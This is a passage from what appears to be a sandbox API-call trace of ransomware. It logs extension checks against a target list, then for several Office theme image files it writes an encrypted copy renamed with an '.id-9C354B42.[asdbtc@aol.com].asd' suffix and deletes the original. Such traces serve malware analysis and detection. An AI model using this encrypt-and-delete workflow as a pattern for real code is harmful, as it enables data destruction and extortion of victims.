returned -1 [0054.493] lstrlenW (lpString=".ppt") returned 4 [0054.493] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.493] lstrlenW (lpString=".zip") returned 4 [0054.493] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.493] lstrlenW (lpString=".rar") returned 4 [0054.493] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.493] lstrlenW (lpString=".bz2") returned 4 [0054.493] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.493] lstrlenW (lpString=".7z") returned 3 [0054.493] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.494] lstrlenW (lpString=".dbf") returned 4 [0054.494] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.494] lstrlenW (lpString=".1cd") returned 4 [0054.494] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0054.494] lstrlenW (lpString=".jpg") returned 4 [0054.494] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.494] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.494] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.494] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1379) returned 1 [0054.494] CloseHandle (hObject=0x214) returned 1 [0054.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0054.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.495] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.495] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.497] GetLastError () returned 0x0 [0054.497] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x563, lpOverlapped=0x0) returned 1 [0054.499] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x570, lpOverlapped=0x0) returned 1 [0054.500] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0054.500] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.500] SetEndOfFile (hFile=0x190) returned 1 [0054.500] CloseHandle (hObject=0x190) returned 1 [0054.500] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.500] SetEndOfFile (hFile=0x214) returned 1 [0054.501] CloseHandle (hObject=0x214) returned 1 [0054.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.502] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString=".doc") returned 4 [0054.503] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.503] lstrlenW (lpString=".docx") returned 5 [0054.503] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.503] lstrlenW (lpString=".pdf") returned 4 [0054.503] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.503] lstrlenW (lpString=".xls") returned 4 [0054.503] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.503] lstrlenW (lpString=".xlsx") returned 5 [0054.503] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.503] lstrlenW (lpString=".ppt") returned 4 [0054.503] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString=".zip") returned 4 [0054.503] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.503] lstrlenW (lpString=".rar") returned 4 [0054.503] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.503] lstrlenW (lpString=".bz2") returned 4 [0054.503] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.503] lstrlenW (lpString=".7z") returned 3 [0054.503] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString=".dbf") returned 4 [0054.503] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString=".1cd") returned 4 [0054.503] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.503] lstrlenW (lpString=".jpg") returned 4 [0054.503] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString=".doc") returned 4 [0054.504] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.504] lstrlenW (lpString=".docx") returned 5 [0054.504] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.504] lstrlenW (lpString=".pdf") returned 4 [0054.504] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString=".xls") returned 4 [0054.504] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString=".xlsx") returned 5 [0054.504] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.504] lstrlenW (lpString=".ppt") returned 4 [0054.504] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString=".zip") returned 4 [0054.504] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString=".rar") returned 4 [0054.504] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.504] lstrlenW (lpString=".bz2") returned 4 [0054.504] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.504] lstrlenW (lpString=".7z") returned 3 [0054.504] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString=".dbf") returned 4 [0054.504] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString=".1cd") returned 4 [0054.504] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0054.504] lstrlenW (lpString=".jpg") returned 4 [0054.504] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.505] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.505] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.505] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=48115) returned 1 [0054.505] CloseHandle (hObject=0x214) returned 1 [0054.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0054.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.506] GetLastError () returned 0x0 [0054.506] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0054.766] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0054.768] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0054.768] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.768] SetEndOfFile (hFile=0x190) returned 1 [0054.768] CloseHandle (hObject=0x190) returned 1 [0054.769] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.769] SetEndOfFile (hFile=0x214) returned 1 [0054.770] CloseHandle (hObject=0x214) returned 1 [0054.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.771] lstrlenW (lpString=".doc") returned 4 [0054.771] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.771] lstrlenW (lpString=".docx") returned 5 [0054.771] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.771] lstrlenW (lpString=".pdf") returned 4 [0054.771] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.771] lstrlenW (lpString=".xls") returned 4 [0054.771] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.771] lstrlenW (lpString=".xlsx") returned 5 [0054.771] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.772] lstrlenW (lpString=".ppt") returned 4 [0054.772] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString=".zip") returned 4 [0054.772] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.772] lstrlenW (lpString=".rar") returned 4 [0054.772] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.772] lstrlenW (lpString=".bz2") returned 4 [0054.772] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.772] lstrlenW (lpString=".7z") returned 3 [0054.772] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString=".dbf") returned 4 [0054.772] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString=".1cd") returned 4 [0054.772] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString=".jpg") returned 4 [0054.772] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.772] lstrlenW (lpString=".doc") returned 4 [0054.773] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.773] lstrlenW (lpString=".docx") returned 5 [0054.773] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.773] lstrlenW (lpString=".pdf") returned 4 [0054.773] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.773] lstrlenW (lpString=".xls") returned 4 [0054.773] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.773] lstrlenW (lpString=".xlsx") returned 5 [0054.773] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.773] lstrlenW (lpString=".ppt") returned 4 [0054.773] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.773] lstrlenW (lpString=".zip") returned 4 [0054.773] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.773] lstrlenW (lpString=".rar") returned 4 [0054.773] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.773] lstrlenW (lpString=".bz2") returned 4 [0054.773] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.773] lstrlenW (lpString=".7z") returned 3 [0054.773] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.773] lstrlenW (lpString=".dbf") returned 4 [0054.773] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.773] lstrlenW (lpString=".1cd") returned 4 [0054.773] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0054.773] lstrlenW (lpString=".jpg") returned 4 [0054.774] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.774] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.774] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.775] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1339) returned 1 [0054.775] CloseHandle (hObject=0x214) returned 1 [0054.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0054.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.775] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.775] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0054.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.371] GetLastError () returned 0x0 [0055.371] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x53b, lpOverlapped=0x0) returned 1 [0055.373] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x540, lpOverlapped=0x0) returned 1 [0055.374] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0055.374] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.374] SetEndOfFile (hFile=0x220) returned 1 [0055.375] CloseHandle (hObject=0x220) returned 1 [0055.375] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0055.375] SetEndOfFile (hFile=0x214) returned 1 [0055.376] CloseHandle (hObject=0x214) returned 1 [0055.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.376] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.377] lstrlenW (lpString=".doc") returned 4 [0055.377] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.377] lstrlenW (lpString=".docx") returned 5 [0055.377] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.377] lstrlenW (lpString=".pdf") returned 4 [0055.377] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.377] lstrlenW (lpString=".xls") returned 4 [0055.377] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.377] lstrlenW (lpString=".xlsx") returned 5 [0055.377] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.377] lstrlenW (lpString=".ppt") returned 4 [0055.377] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.377] lstrlenW (lpString=".zip") returned 4 [0055.377] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.377] lstrlenW (lpString=".rar") returned 4 [0055.377] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.377] lstrlenW (lpString=".bz2") returned 4 [0055.377] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.377] lstrlenW (lpString=".7z") returned 3 [0055.377] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.377] lstrlenW (lpString=".dbf") returned 4 [0055.377] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.377] lstrlenW (lpString=".1cd") returned 4 [0055.378] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.378] lstrlenW (lpString=".jpg") returned 4 [0055.378] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0055.378] lstrlenW (lpString=".doc") returned 4 [0055.378] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.378] lstrlenW (lpString=".docx") returned 5 [0055.378] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.378] lstrlenW (lpString=".pdf") returned 4 [0055.378] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString=".xls") returned 4 [0055.378] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString=".xlsx") returned 5 [0055.378] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.378] lstrlenW (lpString=".ppt") returned 4 [0055.378] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 